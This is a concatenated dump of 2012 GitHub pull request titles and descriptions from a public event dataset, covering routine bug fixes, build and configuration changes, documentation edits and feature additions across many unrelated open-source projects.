labofsahil/github-event-dataset-2012 huggingface dataset:
Optimise images (75 KB reduction)

Hi, enormego.

I've taken the liberty of putting PhotoViewer's image assets though a range of optimisation tools. Image optimisation allows us to reduce the footprint of images - meaning faster load times at no cost to image quality. It does this by finding the best (lossless) compression parameters, stripping embedded comments, and removing unnecessary colour profiles. [See more](http://port3000.co.uk/imageoptimiser-a-github-bot-to-proactively-op).

I found 14 optimisable images, making a 75 KB reduction in size. That's about 18.70% of your total image assets.

Merry Christmas.

<table><tr><th>Name</th><th>Reduction</th></tr><tr><td>local_image_1.jpg</td><td>4.87%</td></tr><tr><td>local_image_2.jpg</td><td>15.19%</td></tr><tr><td>photosButton.png</td><td>20.58%</td></tr><tr><td>egopv_error_placeholder.png</td><td>69.32%</td></tr><tr><td>egopv_error_placeholder@2x.png</td><td>42.07%</td></tr><tr><td>egopv_fullscreen_button.png</td><td>17.33%</td></tr><tr><td>egopv_fullscreen_button@2x.png</td><td>19.57%</td></tr><tr><td>egopv_left.png</td><td>27.33%</td></tr><tr><td>egopv_left@2x.png</td><td>46.60%</td></tr><tr><td>egopv_minimize_fullscreen_button.png</td><td>31.70%</td></tr><tr><td>egopv_photo_placeholder.png</td><td>63.86%</td></tr><tr><td>egopv_photo_placeholder@2x.png</td><td>61.84%</td></tr><tr><td>egopv_right.png</td><td>29.43%</td></tr><tr><td>egopv_right@2x.png</td><td>46.87%</td></tr></tr></table>

Tools used: advpng, gifsicle, jpegoptim, jpegrescan, jpegtran, optipng, pngcrush, pngout. This is an automated bot maintained by [@skattyadz](https://twitter.com/skattyadz)
PLF-3024: JSONObject[""] not found when going to Administration > Monitorning


Fix description:
- Remove Monitor page from administrator page
Commits on validators and blocks add

* New block added to show insolute orders;
* Added vaidator on referrer_  field into order model
Picture viewer (currently supports only grayscale JPEG files)

Here is a simple picture viewer module for KPV.
At the moment it is restricted to 1-component (grayscale) images only, but could be naturally extended to support the colour ones too. Zooming, panning seems to work fine.

Note that this PR also contains the change to rendertext.lua which fixes the crashes in the current master tree.
fixes for mac

* per http://luajit.org/install.html, otherwise LuaJIT always fails
  to get desired memory chunk from mmap(2)
* kill a warning of clang
Pom fix er4

Hi,

please merge this fixed poms syncing jboss-as artifacts version with the EAP 6.0.1 ER4. It's necessary to have this fix to include quickstarts in EAP 6.0.1 ER4.

Thanks.
Submit

Made the form for death times go.
fix syntax error and some general cleanup (tables names with spaces)

edit (jesusabdullah): Refer to https://github.com/jesusabdullah/xls2db/issues/8
Fixes #3512 links/buttons inside list-divider

This fixes issue #3512
gsub exception in Rails 3.2.3

....oauth2_fetch_client_and_user_from_cookie. CGI.escape throws a gsub exception when nil is passed.
.xcdatamodeld bundle detection

I've added bundle support for .xcdatamodeld files
Approach I used is kinda naive and I did test it with Xcode 4.3.2
Please see for yourself if it makes any sense
Cheers
Updated css and js paths for public html files and fixed link paths in public html files Added images_pub.css for thumb scroller in public html files
A summary rocks.

right_aws will look a lot better on `Ruby Toolbox` as a result -> https://www.ruby-toolbox.com/projects/right_aws
Drop-fall better and more reliable now?
Please ignore

Just trying this process out.  I want Dave R to complete this ideally.
Fixed perl syntax checking

Added a semi colon to /syntax_checkers/efm_perl.pl to fix perl syntax checking
Update reference/forms/types/repeated.rst

Removed a superfluous reference to "options" in the example options array of the repeated field documentation.

This one had me stumped for a while, changing the example to this seemed to work.
Fix gypi for dlopen() error in loading the addon module on Linux

In gyp built node on Linux, loading an addon module was failed because its cflags had -fvisibility=hidden and ldflags missed -rdynamic .

Also add 'product_prefix': '' in tools/addon.gypi so as not to add "lib" prefix to its target name  by default on Linux.

Testing result on test/addons/hello-world shows as below.

Build the test addon after change the value of product_prefix into empty as,

``` 
unix:~/tmp/github/node/test/addons/hello-world> ../../../tools/gyp_addon
unix:~/tmp/github/node/test/addons/hello-world> make BUILDTYPE=Release
  CXX(target) out/Release/obj.target/binding/binding.o
  SOLINK_MODULE(target) out/Release/obj.target/binding.node
  SOLINK_MODULE(target) out/Release/obj.target/binding.node: Finished
  COPY out/Release/binding.node
``` 

Before patch, the following error occurred.

``` 
unix:~/tmp/github/node/test/addons/hello-world> ../../../node test.js

node.js:201
        throw e; // process.nextTick error, or 'error' event on first tick
              ^
Error: Unable to load shared library /home/ohtsu/tmp/github/node/test/addons/hello-world/out/Release/binding.node
    at Object..node (module.js:465:11)
    at Module.load (module.js:353:31)
    at Function._load (module.js:310:12)
    at Module.require (module.js:359:17)
    at require (module.js:370:17)
    at Object.<anonymous> (/home/ohtsu/tmp/github/node/test/addons/hello-world/test.js:2:15)
    at Module._compile (module.js:434:26)
    at Object..js (module.js:452:10)
    at Module.load (module.js:353:31)
    at Function._load (module.js:310:12)
``` 

After this patch, it's working fine on my Linux.

``` 
unix:~/tmp/github/node/test/addons/hello-world> ../../../node test.js
binding.hello() = world
Fixed regression - unable to use a range as choices for form.select.

As of 3.2, form.select(:foobar, 1..3) fails with:

```
NoMethodError: undefined method `empty?' for 1..3:Range
    actionpack/lib/action_view/helpers/tags/select.rb:21:in `render'
```

However, this still works fine with select_tag and options_for.

I've added tests for both cases and added a one-line fix to convert the range to an array for form.select.
Fixed a bug SI-5377 (https://issues.scala-lang.org/browse/SI-5377) and Added test cases for SI-5377..
Postulation fields
Cnx android 2.3

Merging for final testing.
Rb193 enc params fixes

Two Ruby 1.9 fixes that seem to break the ENC when using class parameters:

<pre>
undefined method `each' for "fqdn":String

NoMethodError
undefined method `each' for "fqdn":String
app/models/classification.rb:87:in `block in path2matches'
app/models/classification.rb:85:in `each'
app/models/classification.rb:85:in `path2matches'
app/models/classification.rb:55:in `values_hash'
app/models/classification.rb:12:in `enc'
app/models/host.rb:724:in `lookup_keys_class_params'
app/models/host.rb:353:in `info'
app/controllers/hosts_controller.rb:166:in `block (2 levels) in externalNodes'
app/controllers/hosts_controller.rb:165:in `externalNodes'9
lib/foreman/threadsession.rb:31:in `clear_thread' 
</pre>

<pre>
private method `path_elements' called for #<LookupKey:0x00000003d9bec8> 

NoMethodError
private method `path_elements' called for #<LookupKey:0x00000003d9bec8>
app/models/classification.rb:47:in `map'
app/models/classification.rb:47:in `possible_value_orders'
app/models/classification.rb:85:in `path2matches'
app/models/classification.rb:55:in `values_hash'
app/models/classification.rb:12:in `enc'
app/models/host.rb:724:in `lookup_keys_class_params'
app/models/host.rb:353:in `info'
app/controllers/hosts_controller.rb:166:in `block (2 levels) in externalNodes'
app/controllers/hosts_controller.rb:165:in `externalNodes'
lib/foreman/threadsession.rb:31:in `clear_thread' 
</pre>
Actualizando hotfixes

Actualizando hotfixes a la version de Master
Use vsnprintf() instead of vsprintf().

This may avoid buffer overflow.

If user specified very long path, partclone may crash.

Before: crashed
```
$ sudo ./src/partclone.ntfs -o $(ruby -e "print 'a'*1000") -s /dev/null -c
Partclone v0.2.55 http://partclone.org
Starting to clone device (/dev/null) to image (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)
[kenji@sl62x64 partclone]$ echo $?
139
```

After: something wrong but not crashed
```
$ sudo ./src/partclone.ntfs -o $(ruby -e "print 'a'*1000") -s /dev/null -c
Partclone v0.2.55 http://partclone.org
Starting to clone device (/dev/null) to image (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaopen target fail aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaError exit
Partclone fail, please check /var/log/partclone.log !
$ echo $?
1
```
#601 api route info

on {INSTANCE_URI}/api/

add consistency (meta, response), 
add type key, 
rename install_name -> name
Adding some general security to the debates module views. 

It will be soon updated though. Still not good enough.
issue #1421: fixed a bug of MenuImageDisable
DrawNode fixes

DrawNode # drawPoly is compatible with JSB.
Note that for some reason, the final border line is not being drawn.

To Test it, use the DrawingPrimitives tests from master/cocos2d-js-tests
pt-br translations and replacement of a deprecated funcion
Mac branch - manual

Amit teszteltem es mukodik:
- SDL/graphics fejlesztes Xcode-ban, projektfajl, illetve osx specifikus fuggosegek inculded (* kiveve SDL es SDL_ttf lib ezek szokasos helyrol letolthetok).
- A szinkezeles a canvasokon kivul mindenhol jo.
- 10.7 compatibility

Aminek mennie kell, de nem teszteltem:
- osx 10.5-10.6 compatibility (ezeken a rendszereken maskeppen kell inculodolni az sdl lib-eket, elvileg kezelve) needs tests
- 10.8 compatibility (** az sdllibek mellett lekell szedni egy xquarz.app-ot, az x11.app helyett, mivel apple 10.8tol kihagyja a rendszerbol az x11-et, BTW a ket app tok ugyan az csak a nevuk es verziojuk mas)

Ami nem mukodik:
- 10.7-nel fullscreen mode (valami x11.app problema miatt)
- canvasok szinkezelese helyetelen az oprendszer miatt - javitasra var

*le kell toltonei es be kell masolni a /Library/Frameworks-be, a kovetkezoket: SDL.framework SDL_ttf.framework.
Letoltesi oldalak: 
http://www.libsdl.org/download-1.2.php 
http://www.libsdl.org/projects/SDL_ttf/
mind2 helyrol a mac runtimelib, avagy binary kell, nem kell sourcecode

**10.8-as felhasznaoloknek az XQuartz.app-t kell a /Applications/Utilities-be masolni.
Innen letoltheto: http://xquartz.macosforge.org/landing/
BTW az osx nekem automatikusan felkinalta a letolteset, a probaApp elso futtatasanak. Illetve matlab elso futtatasanal is.
Hotfix for Thread Safety

This is a hotfix where someone forgot to add an except after a try, causing threading issues. My particular issue came from watchdog throwing thread safe errors while using Django's test suite.
Fix Handlebars and add to docs

When trying to use the Handlebars task, I was getting the following error:

```
Uncaught TypeError: Cannot read property 'helperMissing' of undefined 
```

The fix was to wrap templateFunction on line 37 with Handlebars.template.
ISPN-2385 ReceiveBufferSize should be set on the child channel

At the moment receiveBufferSize is set on the "acceptor" channel which is not what you want. It should be set on the child channel. This commit fix it.
Don’t autostart PHP remote debugging.

I’m sure I’m not the only one who added the xdebug recipe to my dev environment’s runlist only to wonder why every PHP page request hangs for two minutes. It turns out this is because Xdebug was configured to automatically start remote debugging, and I did not have a debugger running on my host machine.

I suggest, therefore, that the default configuration established by this recipe should not autostart remote debugging. Instead, remote debugging should be triggered by a GET request variable (a URL query string), which is how IDEs like NetBeans are designed to work with Xdebug, and how commonly-used packages that include Xdebug like MAMP are configured out of the box.

Certainly, individual developers could modify the `xdebug.ini.erb` template to autostart remote debugging if that’s appropriate for their setup, but I think the out-of-the-box configuration should be one that’s “safe” (in that it won’t cause requests to hang if you don’t have a debugger waiting to receive the connection).
update package.json, npm update
parseDQuote modified

can use double quote in string literals
Support multi-version documentation on the website

    Update index.html page.
    
    This allows for multiple versions of the matplotlib documentation to
    be made available.  The scheme is that the root
    documentation (i.e. http://matplotlib.sf.net/) will always be the
    latest stable version.  Other versions of the documentation will be
    available in subdirectories off of the root (the latest stable version
    is merely a symlink or redirect back to the root).  This is the same
    convention used by "docs.python.org", as an aside.
    
    The index.html page uses some JavaScript to load a little snippet of
    HTML from "/versions.html" that lists the available versions.
    "versions.html" is not part of this repository, but is part of the
    matplotlib.github.com repository and is updated by hand whenever new
    versions are added or removed from the archive.  This approach allows
    all versions of the documentation to point to all other versions of
    the documentation.  This JavaScript XMLHttpRequest magic doesn't
    happen when the user is viewing static files on their local machine,
    and this is a happy coincidence.
    
    The perhaps controversial outcome of this change is that the summary
    list of plotting commands is removed from the front page.  For one, we
    want to steer people toward the version of the documentation that
    corresponds to the version they are running.  Also, this was a
    manually created list, and has become quite out of date over time.
    Better, IMHO, to link to the pyplot documentation.
    
    This freed up room to move much of the content that existed in the
    sidebar to the main body, where I feel it's much less buried.  I plan
    to add a lot more external resources and links, so having the room to
    do this would be very helpful.
    
    Adds a "Fork me on Github" banner.
Mplot3d/autoscale fix

closes #783, and possibly others.  I would understand if this doesn't go into v1.2.0 because of the lack of proper testing of the mplot3d module, though.
2.12-rc4 Tile.js script error (Firefox)

Hi,

When I run my 2.11 code with 2.12-rc4, I get a JS error that this.layer is null in Tile.js:227 whenever map.updateSize() is called.
This is strange since this.layer should always be set in a Tile.

Is there a simple explanation for this or should I provide more information to resolve the issue?
Replacing local repos with git submodules
fixes failure of modsel examples

removed a forbidden validy check
BUGFIX Fixing broken labels in UploadField

"FROMCOMPUTER" was set to the wrong label "From files", whereas it should be "From your computer".

Separating "From files" into a separate entity "FROMFILES". Doesn't make sense using the same one FROMCOMPUTER.
Replace the row-key-serial function with CAS instruction.

Replace the row-key-serial function with CAS instruction.
support for linux using meld or xterm and diff. use random tmp files in platform specific tmp dir

> added support for linux using meld, falls back on xterm and diff if meld is not installed
> use random tmp file names and platform specific tmp dir
All fixes and issues in VisualEvent I've made

Hello!
I've made my repo and fixed all things I've mentioned in my pull requests and issues. Please take a look.
Exception handling for Gdk::PixbufError

Добавил одно исключение, без которого flush не запускается если некоторые файлы изоображений повреждены.
Ellen updates on ReadStimFile
Correct usage of retain header in example message

Example code for sending topic retained messages uses incorrect semantics "retain:true" instead of "retain:set" as is correctly documented in the surrounding text.
APT, metarun, cron and cron.d management
Забавное поведение.

 [SqlQuery(@"select u.[Login] as [Login], g.Name as [Group]
                    from AuthUsers as u 
                    join AuthUserGroups as g on u.ID_AuthUserGroups = g.ID
                    where u.ID = @uid")]
        public abstract UserInfo GetUserInfo(int @uid);

если явно не наследоваться от DataAccessor<UserInfo> или не пометить метод  [ObjectType(typeof(UserInfo))], то при исполнении метод возвращает объект типа DataAccessor. Это приводит к неопределенному поведению. Либо я делаю что-то не так, либо это действительно баг. 

Почему просто не брать за тип для ExecuteObject тип, который возвращает метод или по крайней мере кидать исключение при конструировании метода?
copy changes

Accumulated copy changes
Some efficiency and style improvements.

- Construct the word list only on the first request to the service.
- Initialize the array of spacers once.
- Use choice instead of shuffle and first to select random elements (this is far more efficient).
- Eliminate an unnecessary return statement by changing from a bang method to the regular version.
Issue #265 - user panel control

Added basic support for users to select which panels they should show. Dependencies checked on form validation.

TODO: Required/recommended extension for inter-panel dependencies.
Issue 174 rev3 (team 4)

* API for displaying stores around nodes from odpiralnicasi.com
* Provided short demonstration how to integrate api information into template.
activate/deactivate Events for joCard

As requested here is the pull request for the activate and deactivate events for joCard :)
Enables websockets, and other custom http handlers

Hi,

This change enables custom http handlers in web.go. As an intended side effect, it also enables websockets.

However, there are multiple ways of doing it. I have probably chosen the easiest one, which may or may not be the best or the one you would like to integrate in web.go.

The way my change handles custom http handlers, is by returning a route object to the caller of routeHandler. It is then the responsibility of the caller to call ServeHTTP with the 2 objects http.ResponseWriter and http.Request. Those 2 objects are only available in web.Server.ServeHTTP.

I see other ways of doing it:

* instead of adding a new field to each route object, use the existing route.handler field, with a way to detect that the function is expecting an http.ResponseWriter and *http.Request. I tried that, but I don't know how to check that the first argument is a ResponseWriter (an interface).... not sure if it is even possible at runtime.
* use the http.ServerMux from web.Server.Run() directly. (btw, I think the server mux is useless as it is now, it should be possible to replace http.Serve(s.l, mux) by http.Serve(s.l, s) ). The problem is that the handlers must be added before the call to Run().

Obviously, FCGI and SCGI do not have access to those http.ResonseWriter and http.Request, therefore FCGI and SCGI servers will ignore all custom http.Handlers, including Websockets.
Blame actions

Add "Actions" at the top of the sidebar, including Log, Blame, Diff and Raw.
Each URL must be overridden in dxr.config, "revision=" must contain a command yielding the revision. A "Notice:" is printed for each missing value.

Fixes: https://bugzilla.mozilla.org/show_bug.cgi?id=701411
Fix for #17539

I remember noticing the same thing as kaz.  Just added 1px to line_height, which makes sense to me but I'm not 100% sure if it's correct.  However, nothing seems to break with this change, so I think it's okay to commit to master.
Fixed an sisue causing files with certain Unicode characters not be found from a ZipFile

There is a subtle issue in ZipFile.m with how the file contents dictionary is parsed for -initWithFileName:mode: and then queried in -locateFileInZip: . If -locateFileInZip: is called with a string that uses a different Unicode normalization form than what was used to encode the file names and used as the key in the contents dictionary, the file info object is not found (the ZipFile 'contents' dictionary would have its keys in a different Unicode normalisation form).

To give an example, here are two strings which look exactly similar to the eye but have different hash codes (and therefore different keys in an NSDictionary):

(gdb) print (NSUInteger)[@"Contents/Resources/N. Engl. J. Med. 2009 Hütter.pdf" hash]
$5 = 523423533613971934
(gdb) print (NSUInteger)[@"Contents/Resources/N. Engl. J. Med. 2009 Hütter.pdf" hash]
$6 = 13774458812937735516

In an error case I encountered, the string I received from another component in the application uses the 2nd kind of representation, whereas Objective-Zip the first kind. Requiring a certain Unicode normalization form as arguments given to -locateFileInZip: is not practical, therefore my suggested solution uses uses the Normalization Form D as the 'contents' dictionary keys (the file info 'name' strings), and converts the string given as an argument to -locateFileInZip: to this same form.
Multidimensionalarray

Hi James,

First, thanks for creating such a fantastically useful library.

I added a converter to serialize and deserialize multi-dimensional arrays (including adding unit tests). The serialization and deserialization works fine. Let me know if you have any comments on the code, or if you require any change before accepting this patch. 

Best regards,
Ed.
TDD training - assignment

I have done with all five questions.
Merge in node crash fix.
Updated iproclass script

...rovenance
updates to biomodels and sabiork biopax parsers, and labels in drugbank
Fixed error with negative Timezones 

Hi!

First of all: I love your django-postmark app. It makes handling email with postmark and django soo easy! Thanks a lot for it!

When the "SubmittedAt" Timestamp is in the format "1997-07-16T19:20:30.45-04:00" there is an error raised in your code. 

Note that the timezone in the example is -04:00 (the minus is the crutial part) you only check for + timezones.

Could you add this fix to your code?

Would be great!
Thanks,
Anton
Spinner: longdesc a bit more explained

Spinner's long description (overview) could be improved. Currently, it has a "technical-what":

> Spinner wraps a text input, adds two buttons...

But, in my opinion it lacks the "business-what", which @scottgonzalez wrote really well in his blog post (release notes) http://blog.jqueryui.com/2012/10/jquery-ui-1-9-0/, which I suggest to use it to improve the docs in this PR.
Fix proxies & chrome version.
Added a very useful logging template for Objective-C. 

For Objective-C code, this library adds flexible, non-intrusive logging capabilities that can be efficiently enabled or disabled via compile switches.

There are four levels of logging: Trace, Info, Error and Debug, and each can be enabled independently via the LOGGING_LEVEL_TRACE, LOGGING_LEVEL_INFO, LOGGING_LEVEL_ERROR and 

In addition, ALL logging can be enabled or disabled via the LOGGING_ENABLED switch.

Based on jasperblues/OCLogTemplate, but thought it would be better if it lived here. 

Also: 

* Please consider renaming Stack to UBStack
* Shall we create a CocoaPods spec?
Specs with jasmine

This has become a big project with many options. I think it's hard for developers to confirm that nothing is broken at modification.
So I have wrote specs with jasmine, jasmine-jquery and sinon. I know they are not enough but covered basic usage.
To run the spec, just load spec/SpecRunner.html in your browser. I've testes it with chrome.
I will write more specs if you think they are useful and tell me which options or  functions need spec.
Issue13

Allows for SSH tunneling and is compatible with the usage of argparse in circus/circusctl.py

Units tests to be included.
GAE API experimental use

Still synchronous, still without persistence for the downloaded data , but all the scaffolding for use a mutable verbs list file is in place and working.
Fixes for details

This takes care of the problems described by #1148 as well as some other small things.

The first couple of commits arose from the question “Why is `details` being called so many times?” and had nothing to do with the original issue. The rest were about getting the correct details to show up in the correct places.

One thing I’m still seeing, but haven’t investigated: The details for actions aren’t returned from the cache in a lot of cases. I’m wondering if this could be by design. Are there situations where the action’s details can change based on the direct/indirect objects?
Fixes issue #753 - move to/copy to with items grabbed from Finder

The recent change that made the 3rd pane show the items' folder, along with `splitObjects` not being fully robust caused the crash.

This pull request fixes both these problems.
Fix the issue that ignores error handlers in base.

Hope this fixes the issue #37.
Tmux plugin

Instead of just attaching to the first session available, create a new session based on the windows of a "principal session"

The main session is a daemon, other sessions are automatically destroyed when no client is attached
WIP:  Added l1 regularization to LikelihoodModel

l1 regularization is added as an alternative type of fit method of LikelihoodModel.  In the future, it may make sense to make a BayesianModel.  

Goal is to work with all of LikelihoodModel.  

There is a command line demo at  l1_demo/demo.py.  Demo works with Logit, MNLogit, and Probit.

$ python demo.py -h 
displays help

$ python demo.py logit
does a quick demo of the regularization using logistic regression.
Made outer quote selection look at the 1st trailing character

When it was making the decision to favor trailing whitespace, it didn't
look at the 1st immediate character after the last quote. As a result,
`da"` would eat up the comma in `"foo", "bar"`. This bug affected all
outer quote operations (`da"`, `va"`, etc...)
fixes #768
Docs: change UDP config to specify UDP_PORT instead of WEB_PORT

Currently http://sentry.readthedocs.org/en/latest/config/index.html#udp-server shows WEB_PORT under the UDP section as well.
Added LP Names

I have just added the LP names
A URL fix for viewing in a framework, and a enablecfoutputonly="true" bug.

When viewing the cache report on a page that already has URL parameters (for example index.cfm?event=showCacheReport) then the the links to cache detail are broken. I've made a change so that an ampersand will be used instead if URL parameters already exist.

Also, when running the report as shown in the wiki examples, the page gets left in a state where enablecfoutputonly="true". I've added a enablecfoutputonly="false" line so it this mode gets turned off.
VS2012 Upgrade

This pull request updates the projects and solution files to work with the VS2012 RC.  In the main, the changes are quite minor and all changes made are backwards-compatible with VS2010.

The largest change (but still backwards compatible) is the upgrade of the Database project dbproj to the new SQL Server Developer Tools (SSDT) sqlproj. However, this is backwards-compatible with VS2010 provided the SSDT are installed on the machine.  They can be downloaded from http://go.microsoft.com/fwlink/?LinkID=237127&clcid=0x409
Fixing URL encoding issue for URLGrabber and if enabled=0 repo should remain disabled

Fixing URL encoding issue for URLGrabber and if enabled=0 repo should remain disabled
Manual features and controllers test and ajax functions

Created edit and update ajax functions for admins on manuals page.
Created feature and controller tests for manuals.
Updated manual model test.
replace confusing error message (addresses part of (#742)

I've labelled #742 hotfix - this doesn't fix all of it, but I'm concerned that it could be losing us users.  Can we get this one file pushed live soon?
F_i_x for #849. 

@sefk and @wescott : Please code review. @wescott , I see the failure mode where clicking Next question just pops up an empty Khan Ex container and prevents me from viewing the rest of the video. I want you to confirm that this is being handled in a separate issue and is not caused by my current fix.
 
Includes 2 commits:

2a9b14212a5429b8e348a0668108eefc9a72c4ee : Removes the part that switches from ready video to draft video... from courses/videos/views.py. Tested video page visits report functionality, exercise loading, and exercise attempt reporting for regression.

75ccdac978d7774109e4bb61ef828efb8a3642af:  Ref #849. Noticed that templates/videos/view.html needs to change video id back to draft if ready mode to correctly fetch thumbnails and manifest.
change key frame extraction code

- Modify difference() function, change it into a graph cut based algorithm.
- To control the key frame numbers, we can either change the input frames_per_minute_target parameter or tune the internal threshold (passing into the localMaximum()).
Added Contao 3.0 compatibility

Added Contao 3.0 compatibility and tagged it, testet with Contao 3.0.0.
Maybe it takes some work away from you... ;)
support access via proxy

supporting proxy access when exist ENV['http_proxy'].
Feature/nginx url rewriting

support URL rewrite rules for nginx, and misc minor related fixes/enhancements
Config

new definition apache::conf, used for apache::confd and apache::directive (both are wrappers for apache::conf).
Zeropadding bugfix

Just realized that nodejs doesn't truncate as I expected.

This should resolve that, gmonds are picking up data properly now.
Moved up the bash resource so it's found

This fix the error commented at the issue #4

It seems that the `bash` resource ned to be before, but I set its action to `:nothing` to avoid to be run before to be notified.
Issue #42: continue expanding/contracting with one key press

Use two new customizable variables for bindings of contract and reset.
The binding of expand is always the last key of the `er/expand-region'
binding.

Signed-off-by: Damien Cassou <damien.cassou@gmail.com>
Issue 17 bottom menu
Update sign in locator
Build 030712
Panopoly Core Update + Migration + Rubik
add arrow keys binds for flipping

Up: first page, Down: last page
Change to account for thermistor noise

Have a look at my changes to temperature.cpp

They are some stupid modifications to prevent killing a print job unless you cont consistently bad thermistor readings.

I was having a case where one bad reading would kill a print... that is a little excessive.

This change requires a bunch of consecutive bad readings before killing.

Thanks
Justin
Fixed unit tests

Some unit tests were failing including :

* Parser : **AnnotationParser**
* Mapper : **SimpleMapper**
typo

"controler" should be "controller"
TravisCI fix

TravisCI removed the rbx-2.0 alias and instead now rbx-19mode and rbx-18 mode will be used, since all the other rubies are 1.9 I decided to go with 1.9 mode - it is experimental though, hope it works. [For more info see their guide] (http://about.travis-ci.org/docs/user/languages/ruby/)

I hope that this way turnip can go back to green again :-)
fixed typo in documentation

trivial changes
Addedit view refactorings

Cleaned up the add/edit and view files to use the core methods:
canAccess, canView, canCreate, canEdit, and canDelete
resolved the LDAP auth issue

Resolves: http://bugs.web2project.net/view.php?id=947
Fixed role examples in the README

* `run_list` is a method
* Wrong instructions to override ports
NOJIRA - update the dependency list
Typo Early to Earl

I just couldn't leave it in there.
[DO NOT MERGE] Inspector migration part2 (don't review yet)
fix a type error

And also, I find this file have some problems.

If I try to rewrite locally, it will replace all the file.

And the preview of this file seems have not eol(end of line).
Adds snippet to initialize modernizr

Since many include the script, but does nothing with it, adding this
will help people actually use it.
added support for advanced naming pattern + final replacement

As we have discussed few weeks ago here's some commit that add the earlier mentionned possibility.

Please don't hesitates to ask me to refactor if something is wrong.

thanks
Add nemo-open-terminal 

 Add nemo-open-terminal 

Fixes 

https://github.com/linuxmint/nemo/issues/23

https://github.com/linuxmint/nemo/issues/19
Replacing "..." in user profile

Replaced "..." characters in profile.php as produces funny characters in Firefox
Fix syntax on validator
FormatReader: Don't upscale thumbnails smaller than THUMBNAIL_DIMENSION

Cherry-picked onto dev_4_4
Spectral fix

Fixes to numerical stability in spectral embedding.

The key to the numerical stability is to avoid arpack when it fails and switch to lobpcg or symeig depending on the size of the problem.
AUR/Pactree package completion

This checks for the existence of the local checkout of the Arch User Repository, and adds tab-completion for those packages accordingly to yaourt. It also adds completion file for pactree (copied from yaourt completion function _yaourt_completions_installed_packages()).
Minor changes

I defined some things that were giving me errors on my system and added the response's error code to the exception thrown by the Junior\Client object.

Please let me know if you have any feedback.
Added myself as a member

It's about time I did something with cslug...
3.2/feature/3486 show class interfaces

Implements ticket @3486 - show class interfaces in the API browser. I haven't done anything to style the output.
Katalog Usługodawców

Katalog Usługodawców

- obsługiwane szablony dla różnych wersji wyświetlania na liście usługodawców
- menu z literej i cyferek uworzone w szablonie
- działające poprawnie wyświetlanie wyróżnionych usługodawców na stronie początkowej
- działające poprawnie wyświetlanie usługodawców na daną literę (wyróżnienie , a następnie zwyczajni)
- poprawione SQL
- rodzielenie na 2 szablony usługodawców premiowanych i zwykłych
Chosen does not get rendered when using toggling visiblity of parent

Currently I was using tabs with jQuery, and a chosen-box was placed in a tab.
Unfortunately the chosen-box, if not placed in the initial visible tab, gets visible (by changing the tab), the width is fukced up.

Therefore I've introduced a new init-parameter (options.width) which could be used eg:

```$box.chosen({
	'width': '80%'
});```

The widths of the search-container and search-field get set on-demand (on showing the container)
Make sorting tags easier

With tags being implemented as a list, it is fairly easy to sort them. However, adding a compiler function. This should close issue #22.
restoring the ability of reverse-engineering views

